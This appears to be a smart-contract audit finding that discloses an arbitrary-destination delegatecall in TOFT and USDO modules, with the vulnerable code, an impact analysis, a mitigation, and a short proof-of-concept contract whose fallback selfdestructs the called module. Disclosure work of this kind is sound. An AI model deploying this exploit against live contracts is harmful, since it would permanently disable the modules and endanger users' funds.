All TOFT and USDO modules have public functions that allow an attacker to supply an address module that is later used as a destination for a delegatecall. This can point to an attacker-controlled contract that is used to selfdestruct the module.
// USDOLeverageModule:leverageUp
function leverageUp(
address module,
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload
) public {
// .. snip ..
(bool success, bytes memory reason) = module.delegatecall( //@audit-issue arbitrary destination delegatecall
abi.encodeWithSelector(
this.leverageUpInternal.selector,
amount,
swapData,
externalData,
lzData,
leverageFor
)
);
if (!success) {
if (balanceAfter - balanceBefore >= amount) {
IERC20(address(this)).safeTransfer(leverageFor, amount);
}
revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor
}
// .. snip ..
}Impact
Both BaseTOFT and BaseUSDO initialize the module addresses to state variables in the constructor. Because there are no setter functions to adjust these variables post-deployment, the modules are permanently locked to the addresses specified in the constructor. If those addresses are selfdestructed, the modules are rendered unusable and all calls to these modules will revert. This cannot be repaired.
// BaseUSDO.sol:constructor
constructor(
address _lzEndpoint,
IYieldBoxBase _yieldBox,
address _owner,
address payable _leverageModule,
address payable _marketModule,
address payable _optionsModule
) BaseUSDOStorage(_lzEndpoint, _yieldBox) ERC20Permit("USDO") {
leverageModule = USDOLeverageModule(_leverageModule);
marketModule = USDOMarketModule(_marketModule);
optionsModule = USDOOptionsModule(_optionsModule);
transferOwnership(_owner);
}Proof of Concept
Attacker can deploy the Exploit contract below, and then call each of the vulnerable functions with the address of the Exploit contract as the module parameter. This will cause the module to selfdestruct, rendering it unusable.
pragma solidity ^0.8.18;
contract Exploit {
address payable constant attacker = payable(address(0xbadbabe));
fallback() external payable {
selfdestruct(attacker);
}
}Recommended Mitigation Steps
The module parameter should be removed from the calldata in each of the vulnerable functions. Since the context of the call into these functions are designed to be delegatecalls and the storage layouts of the modules and the Base contracts are the same, the module address can be retreived from storage instead. This will prevent attackers from supplying arbitrary addresses as delegatecall destinations.